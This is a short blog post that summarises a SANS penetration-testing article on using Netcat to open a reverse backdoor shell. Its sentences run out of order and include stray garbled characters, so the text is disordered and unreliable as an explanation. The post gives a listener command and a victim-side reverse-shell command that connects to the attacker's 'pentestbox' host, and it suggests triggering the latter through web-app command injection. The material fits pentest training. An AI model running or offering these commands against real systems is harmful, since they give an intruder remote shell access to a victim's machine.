Simple, right? But, what if you have a version of Netcat that doesn’t support the -e option? Then, on the pentestbox machine, we’ll see the inbound connection, which we can type commands into as follows (typed commands in bold): nc -nvlp 443Ĭonnect to from (UNKNOWN) The Netcat client then executes /bin/bash (-e /bin/bash) on the victim, connecting that shell’s Standard Input and Standard Output to the network. This command invokes a Netcat client on the victim, which connects to the attacker’s pentestbox on TCP port 443. Then, on the target machine, get the following command to execute (perhaps via command injection in a web app or some other attack technique): victim$ nc pentestbox 443 -e /bin/bash Here, I’m telling Netcat (nc) to not resolve names (-n), to be verbose printing out when a connection occurs (-v), to listen (-l) on a given local port (-p). You can use Netcat (or its cousin, Ncat from the Nmap project) to create a reverse shell as follows:įirst, on your own pen test machine, you create a Netcat listener waiting for the inbound shell from the target machine: nc -nvlp 443 Netcat is fantastic little tool included on most Linuxes and available for Windows as well. The post, written by Ed Skoudis, start with a description of Netcat and a simple example of backdoor shell: On SANS Penetration Testing Blog i’ve read a really useful article about Netcat, espacially about using this tool to create a reverse backdoor shell during a penetration test. What do you do if you have a Netcat that doesn’t support the -e or -c options to run a shell or your target doesn’t support /dev/tcp?
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January 2023
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